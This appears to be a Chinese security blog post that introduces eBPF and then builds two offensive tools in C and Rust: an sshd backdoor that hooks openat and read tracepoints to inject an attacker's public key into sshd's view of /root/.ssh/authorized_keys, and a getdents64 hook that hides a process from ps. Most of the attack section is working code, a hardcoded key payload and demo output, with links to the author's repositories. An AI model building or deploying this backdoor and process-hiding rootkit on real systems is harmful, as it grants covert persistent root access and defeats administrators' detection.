linux内核本质上是内核驱动的,下图表现了这一过程:
图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 How to Make Linux Microservice-Aware with Cilium and eBPF
因为BPF 给我们提供了在这些事件发生时运行指定的eBPF程序的能力。
eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。
例如,我们可以在以下事件发生时运行我们的 BPF 程序:
read
/write
/connect
等系统调用这很类似hook系统函数的行为,我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃,那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢?
首先,ebpf程序并不是传统意义上的一个ELF执行程序,而是一段BPF字节码,这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump 生成一段对应过滤规则的字节码
> sudo tcpdump -i ens192 port 22 -ddd
24
40 0 0 12
21 0 8 34525
48 0 0 20
21 2 0 132
21 1 0 6
21 0 17 17
40 0 0 54
21 14 0 22
40 0 0 56
21 12 13 22
21 0 12 2048
48 0 0 23
21 2 0 132
21 1 0 6
21 0 8 17
40 0 0 20
69 6 0 8191
177 0 0 14
72 0 0 14
21 2 0 22
72 0 0 16
21 0 1 22
6 0 0 262144
6 0 0 0
内核在接受 BPF 字节码之前,会首先通过验证器对字节码进行校验,只有校验通过的 BPF
安全校验后 eBPF 字节码将通过即时编译器(JIT,Just-In-Time Compiler)编译成为原生机器码,提供近乎内核本地代码的执行效率,并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF Map 结构进行双向通信,每当特定的事件发生时,eBPF 程序可以将采集的统计信息通过 Map 结构传递给上层用户态的应用程序,进行进一步数据处理与分析。下图具体的展现了这一过程
为了确保在内核中安全地执行,eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互,eBPF 指令有意采用了 C 调用约定,其提供的辅助函数可以在 C 语言中直接调用,这也方便了我们开发eBPF程序,通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF 字节码,然后再通过 bpf 系统调用提交给内核执行。
下面,我们将通过实际开发来感受eBPF给安全人员提供的便利。
我们知道,当用户在连接到远程的ssh服务器并提供非对称密钥时,远程服务器sshd会打开对应用户目录下的 ~/.ssh/authorized_keys
验证用户是否可以通过对应的密钥登陆。
因此,我们的目标很简单:就是让sshd打开~/.ssh/authorized_keys
读到的公钥文件夹中含有我们的公钥信息,这样我们就可以认证登陆了。
其过程可以简化为如下C语言代码
char buf [4096] = {0x00}; int fd = open("/root/.ssh/authorized_keys", O_RDONLY); if (fd < 0) { printf("ERROR OPEN FILE"); } memset(buf, 0 , sizeof(buf)); if (read(fd, &buf, 4096) > 0) { printf("%s", buf); } close(fd); return 0;
我们很容易可以想到,hook read函数,将获得的文件内容修改为含有我们公钥的的文件内容。
> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
tracepoint:syscalls:sys_enter_read
int __syscall_nr
unsigned int fd
char * buf
size_t count
我们需要获得buf和count,即写入sshd读取缓存的地址,和对应的长度
为什么不直接向fd写?
因为bpf只支持有限的函数调用,不能调用write向fd中写
从这里我们也可以看出,如果只是hook这个函数,我们并不知道是哪个程序,打开了哪个文件调用的这个函数,为了进行过滤,我们还需要hook openat syscall
> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
tracepoint:syscalls:sys_enter_openat
int __syscall_nr
int dfd
const char * filename
int flags
umode_t mode
这里我们可以拿到filename,通过/root/.ssh/authorized_keys
这一打开文件名特征来进行过滤
对应进程,可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名,这里我们通过sshd进行过滤。
总体来说,流程可以分为三步
Esonhugh 师傅基于cilium写了一版,为了锻炼自己写ebpf和rust的能力,拿libbpf-rs重写了一版,仓库在https://github.com/EkiXu/sshd_backdoor 编译后的程序大小可以达到只有几百k。
bpf的部分是类似的,在enter时检查进程名参数中的文件名
SEC("tp/syscalls/sys_enter_openat") int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) { size_t pid_tgid = bpf_get_current_pid_tgid(); char comm[TASK_COMM_LEN]; if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) { return 0; } const int target_comm_len = 5; const char *target_comm = "sshd"; for (int i = 0; i < target_comm_len; i++) { if (comm[i] != target_comm[i]) { return 0; } } char filename[27]; bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]); for (int i = 0; i < target_file_len; i++) { if (filename[i] != target_file[i]) { return 0; } } unsigned int zero = 0; bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); return 0; }
在exit的时候存储对应的返回值fd
SEC("tp/syscalls/sys_exit_openat") int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) { size_t pid_tgid = bpf_get_current_pid_tgid(); unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid); if (check == 0) return 0; unsigned int fd = (unsigned int)ctx->ret; bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); return 0; }
在read enter时存储buff指针参数和大小
SEC("tracepoint/syscalls/sys_enter_read") int handle_read_enter(struct trace_event_raw_sys_enter *ctx) { size_t pid_tgid = bpf_get_current_pid_tgid(); unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid); if (pfd == 0) return 0; unsigned int map_fd = *pfd; unsigned int fd = (unsigned int)ctx->args[0]; if (map_fd != fd) return 0; long unsigned int buff_addr = ctx->args[1]; size_t size = ctx->args[2]; struct syscall_read_logging data; data.buffer_addr = buff_addr; data.calling_size = size; bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY); return 0; }
在read exit时根据存储的fd,和在enter时拿到的存储buff指针,修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。(因此需要对应目标文件有那么多空间,否则无法写入,实战中可以向对应文件写入一些空格占位)
SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { ... u8 key = 0; struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key); u32 len = payload->payload_len; long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN; long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN); ... bpf_map_delete_elem(&map_fds, &pid_tgid); bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); return 0; }
const SRC: &str = "src/bpf/backdoor.bpf.c"; let mut out = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script")); out.push("backdoor.skel.rs"); println!("cargo:rerun-if-changed=src/bpf"); SkeletonBuilder::new() .source(SRC) .build_and_generate(&out) .unwrap();
在build.rs中编译对应的c文件到生成backdoor.skel.rs
fn main() -> Result<(),Error> { let mut skel_builder = BackdoorSkelBuilder::default(); skel_builder.obj_builder.debug(true); let open_skel = skel_builder.open()?; // Begin tracing let mut skel = open_skel.load()?; skel.attach()?; loop { } }
通过builder生成对应的skel,调用load和attach进行挂载,当然这里需要loop阻塞一下,不然就直接退出了。
用户态可以监听perfbuf和ringbuffer这两个map,以ringbuffer为例
let mut builder = RingBufferBuilder::new(); builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf"); let ringbuf = builder.build().expect("Failed to build"); loop { ringbuf.poll(Duration::from_millis(100))?; }
rb_handler就是对应的处理函数
也可以修改其他的map,比如这里向map里传入我们自定义的公钥内容
//Replace your pub key here let val = CustomPayload::new(b"\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= [email protected]\n"); let key = (0 as u8).to_ne_bytes(); //let val = custom_key; unsafe { if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){ panic!("{}",e) } }
这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化,比如我们存储的CustomPayload,可以这么写(注意空间和长度需要固定)
#[derive(Debug, Clone)] pub struct CustomPayload { pub raw_buf: [u8; MAX_PAYLOAD_LEN], pub payload_len: u32, } impl CustomPayload { pub fn new<const A:usize>(buf:&[u8;A])->Self{ CustomPayload { raw_buf: pad_zeroes(*buf), payload_len: buf.len() as u32, } } } unsafe impl Plain for CustomPayload{}
效果如下
上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽,比如这个进程会显示在进程树中,通过ps命令可以很容易的排查出可疑进程。
在linux下,我们排查系统运行的进程实际上是通过访问/proc
伪文件系统实现的,包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。
> strace -e openat ps ... openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4 openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6 ...
那么,很自然的会想到利用上一篇文章中说的,让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件,我们可能需要劫持目录下的所有文件。因此,我们不妨换一个思路,通过getdents
系统调用来篡改目录。现代linux系统使用的调用为getdents64
,对应的原型和参数结构如下
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); //其中 struct linux_dirent64 { u64 d_ino; /* 64-bit inode number */ u64 d_off; /* 64-bit offset to next structure */ unsigned short d_reclen; /* Size of this dirent */ unsigned char d_type; /* File type */ char d_name[]; /* Filename (null-terminated) */ };
我们也可以验证ps中确实使用了这一系统调用
trace -e getdents64 ps getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832 PID TTY TIME CMD 46489 pts/17 00:00:01 bash 57392 pts/17 00:00:00 strace 57395 pts/17 00:00:00 ps getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0 +++ exited with 0 +++
对于正常读取文件:
linux_dirent64
结构体在内存的排列是连续的,而且 sys_getdents64
的第二个参数 dirent 正好指向第一个 linux_dirent64
结构体,所以根据上面的信息,我们只要知道 linux_dirent64
链表的大小,就能根据 linux_dirent64->d_reclen
,就能准确从连续的内存中分割出每一块linux_dirent64
。
那么隐藏的思路就是:
通过修改前一块linux_dirent64->d_reclen
为下一块的d_reclen
+这一块的d_reclen
这样读取文件是就会跳过这一部分直接到下一块。
具体代码也用libbpf-rust实现了一版
https://github.com/EkiXu/file_cloak
主要是对SEC("tracepoint/syscalls/sys_exit_getdents64")
的hook
首先是遍历linux_dirent64
结构体,找到对应的目录,这里通过尾调用的方式绕过eBPF对循环的限制,具体来说就是将原来的循环拆分成大小为128的块,一轮循环结束后,记录当前遍历的位置bpos
,通过bpf_tail_call再次调用这个函数进行遍历,直到找到对应的文件名。
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) { ... long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[MAX_FILE_LEN]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 128; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name); int j = 0; for (j = 0; j < file_to_hide_len; j++) { if (filename[j] != file_to_hide[j]) { break; } } if (j == file_to_hide_len) { bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0; }
找到之后,同样通过尾调用跳转到patch函数,注意,在遍历的过程中我们一直在更新存储之前的文件,当遍历到目标文件时,map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。
SEC("tracepoint/syscalls/sys_exit_getdents64") int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) { ... long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); unsigned short d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); ... bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0; }
用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。
open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32; open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());
最终效果如下
> ps aux |grep listen.py eki 63504 0.0 0.0 91636 5876 pts/32 Sl+ Feb15 0:00 python listen.py eki 82405 0.0 0.0 7012 2140 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py --- > sudo target/debug/file_cloak 63504 --- > ps aux |grep listen.py eki 82302 0.0 0.0 7012 2228 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
在本文中,我们实际上利用eBPF机制实现了两个Gadget:
通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。
优点:
劣势: